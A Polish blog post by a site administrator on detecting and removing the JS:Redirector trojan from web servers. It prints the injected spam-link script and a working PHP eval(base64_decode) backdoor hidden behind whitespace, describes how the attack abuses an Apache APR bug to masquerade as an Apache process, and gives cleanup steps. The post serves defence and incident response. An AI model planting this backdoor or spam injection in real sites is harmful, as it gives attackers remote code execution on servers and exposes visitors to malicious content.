Jak usunąć trojan JS:Redirector

Walczyłem z nim przeszło miesiąc. Na początku mimo zgłaszanych alertów ze strony użytkowników, sam nie widziałem problemu, ponieważ mój antywirus AVG nie zgłaszał żadnego zagrożenia. Antywirusy jakie „krzyczały” o intruzie to m.in.: Avast! oraz KIS. Niestety, ale w przeciągu ostatniego tygodnia ilość zgłoszeń znacznie wzrosła – i to nie tylko w jednym z moich serwisów, ale właściwie na każdym trzymanym na moim serwerze.
To był najwyższy czas, aby wziąć sprawę w swoje ręce.

Czym objawiał się ten trojan?

Robak wybranym losowo plikom aktualnie pobieranym z serwera przez odwiedzających jednorazowo zamieniał zawartość na jego własną. W większości przypadków były to pliki graficzne, z czego 75% to favicon.ico.

Doklejanym kodem był skrypt JS, który wygląda następująco:

<script type="text/javascript" language="javascript"> var tlqhhva=new Date( ); tlqhhva.setTime(tlqhhva.getTime( )+12*60*60*1000); document.cookie="nx5fsesx73_idx3d53dx312540afaf174fd0466f84x316x35afx65e3"+"; path=/x3b exx70151x72es="+tlqhhva.toGMTString( ); </script>
<script>document.write(String.fromCharCode(59+1,100,105,118,32,115,116,121,108,101,61,39,

100,105,115,112,108,97,121,58,110,111,110,101,39,62))</script><a href="http://keygenguru.com">crack download</a>&nbsp; <h1><a href="http://keygenguru.com">serials</a>&nbsp; </h1><h1><a href="http://keygenguru.com">cracks</a>&nbsp; </h1>96.50.164.106 <h1><a href="http://www.getcoolmovies.com/movies/countries/usa/avatar/">Watch Avatar movie</a>&nbsp; </h1><a href="http://www.getcoolmovies.com/movies/countries/usa/avatar/">Buy Avatar movie</a>&nbsp; 249.122.20.35 <h1><a href="http://keygenguru.com/movies.php">online movies</a>&nbsp; </h1><a href="http://keygenguru.com/movies.php">download movie</a>&nbsp; 178.4.93.87 <a href="http://supersoftwarestore.com">buy cheap software</a>&nbsp; <h1><a href="http://supersoftwarestore.com">cheap software</a>&nbsp; </h1>83.52.50.31 <h1><a href="http://keygenguru.com/software/Microsoft-Windows-Vista-sp2-x64-adobe-cs4-master-colletion.html">Buy Microsoft Windows Vista SP2 x64  Adobe CS4 Master Collection</a>&nbsp; </h1><h1><a href="http://keygenguru.com/software/Autodesk-inventor-2010.html">Buy Autodesk Inventor 2010 </a>&nbsp; </h1><a href="http://keygenguru.com/software/newtek-lightwave-3d-9.html">Download NewTek Lightwave 3D 9</a>&nbsp; <h1><a href="http://keygenguru.com/software/the-foundry-nuke-maximun-2009.html">Buy The Foundry Nuke: Maximum 2009</a>&nbsp; </h1><a href="http://keygenguru.com/software/Rosetta-Stone-Version-3-Portuguese-for-mac.html">Download Rosetta Stone Version 3: Portuguese(Brazil) Level 1, 2 Set for mac</a>&nbsp; <h1><a href="http://keygenguru.com/software/Rosetta-Stone-Version-3-Italian-for-mac.html">Download Rosetta Stone Version 3: Italian Level 1, 2 & 3 Set for mac</a>&nbsp; </h1><a href="http://keygenguru.com/software/Rosetta-Stone-Version-3-hebrew-for-mac.html">Buy Rosetta Stone Version 3: Hebrew Level 1, 2 for mac</a>&nbsp; <a href="http://keygenguru.com/software/Microsoft-Windows-Vista-sp2-x64-adobe-cs4-master-colletion.html">Download Microsoft Windows Vista SP2 x64  Adobe CS4 Master Collection</a>&nbsp; <h1><a href="http://keygenguru.com/software/nuance-omnipage-17-and-paper-report.html">Download Nuance OmniPage 17 Pro with Paper Report</a>&nbsp; </h1>

Drugiego takiego nie znajdziecie w sieci, ponieważ robak dla każdego serwera generuje inną zmienną którą się posługuje. W moim przypadku była to tlqhhva. Sam w sobie nie jest groźny, ponieważ wyświetla tylko i wyłącznie swoje linki. Strona z takimi linkami wygląda następująco:

Po odświeżeniu strony, mamy dużą szansę, że linków już nie zobaczymy. I nawet jak Avast wykryje wirusa i przejrzymy potem plik w którym był trojan, to nie zobaczymy żadnej podejrzanej zawartości.

Trojan jednorazowo w sposób losowy wybiera sobie plik, podmienia mu źródło, po czym przywraca jego domyślną zawartość. W ten sposób trojan jest ciężki do namierzenia, ponieważ „zarażone” pliki są w gruncie rzeczy czyste ze złośliwego kodu.

Jak działa trojan?

Nie wiem w jaki sposób, ale w jakiś sposób trojan musiał wcześniej dokleić kawałek swojego kodu PHP do niektórych plików na serwerze. Ostatnio znane są ataki trojanów przez niezabezpieczone wersje Total Commander, więc możliwe, że przez to, ale pewności nie mam.

Doklejony kod PHP wygląda następująco:

/*16dabdc1cc53d214162e11e6d1cd7c8e*/if(isset($_POST["p"])&&$_POST["p"]=="6510abeadb59058374114a9735e0dca5"){eval(base64_decode($_POST["c"]));exit;}/*16dabdc1cc53d214162e11e6d1cd7c8e*/

umieszczony jest w pierwszej linijce pliku. Tuż za <?php i dużą ilością spacji, aby edytor bez zawijania wierszy (w którym będziemy przeglądać pliki) nie wyświetliły tego podejrzanego kodu.
System działania jest bardzo prosty – raz na jakiś czas z serwera intruza wysyłane są zakodowane dane metodą POST do tego zarażonego pliku. Skrypt dzięki base64_decode() odkodowuje je, a eval() wykonuje polecenie systemowe.
Uruchamiany jest plik binarny (tworzony z losową nazwa, ustawiany chmod ) który wykorzystuje bug w APR w Apachu https://issues.apache.org/bugzilla/show_bug.cgi?id=46425 dzięki temu programowi udaje sie zbindowac jako jeden z podprocesow (child) apache w trybie MPM prefork na porcie 80. Dodatkowo proces ukrywa sie pod nazwa Apacza (zmieniona jest nazwa procesu argv[0] i w liscie procesow widac go jako zwykly proces Apacha).
Dodatkowo skrypt przekazany przez POST php usuwa tą binarke gdy ja uruchomi tak, że nie ma żadnych śladów po włamie. Binarka ta dzięki temu, że przejela wszystkie fdsy od Apacza listuje na porcie 80 i co jakiś czas wysyła do losowych klientów swój kod trojana.

Jak się go pozbyć?

Od strony użytkownika poprawka jest prosta wystarczy wywalić kod backdora w skryptach php, zmienić hasło do ft , przeskanować swój komputer pod katem trojanów wykradających hasła.
Plików PHP najczęściej mamy setki, tysiące. Jak więc wykryć zarażone pliki?
Skorzystajmy z gotowego skryptu, który przeszukuje wszystkie pliki i wyszukuję wystąpienie ciągu „eval(base64_decode” – http://www.blueman.pl/zrodla/apache_fork_hack_finder_cleaner.sh
Ja na szczęście złośliwy kod miałem tylko w 2 plikach, więc ręcznie usunąłem backdoor’y.

Od strony administratora przedstawia się to znacznie gorzej.
Najpierw sprawdźmy, czy nasz Apache jest wystarczająco bezpieczny – http://www.blueman.pl/zrodla/apr_test.phps
Można nałożyć patcha na APR lub zablokować funkcje exec() w php. Innym rozwiązaniem jest zrezygnowanie z mod_php i przejście na fcgi lub suphp z odpowiednim patchem na zestaw funkcji exec() w php.

Warto po każdej czynności restartować serwera Apache – dzięki czemu będziemy mieć pewność, że potomny proces nie jest uruchomiony i nie zaraża w między czasie innych plików. Po restarcie ponownie przeskanujmy pliki w poszukiwaniu backdoor’owego kodu.

Życzę wam powodzenia w zwalczeniu tego ustrojstwa! Które przez swoją randomowość wyboru plików, przywracanie domyślnej zawartości pliku oraz ukrywanie się jako proces Apache, jest bardzo trudne do namierzenia.

Czekam także na Wasze spostrzeżenia na ten temat – zostawcie je w komentarzach :)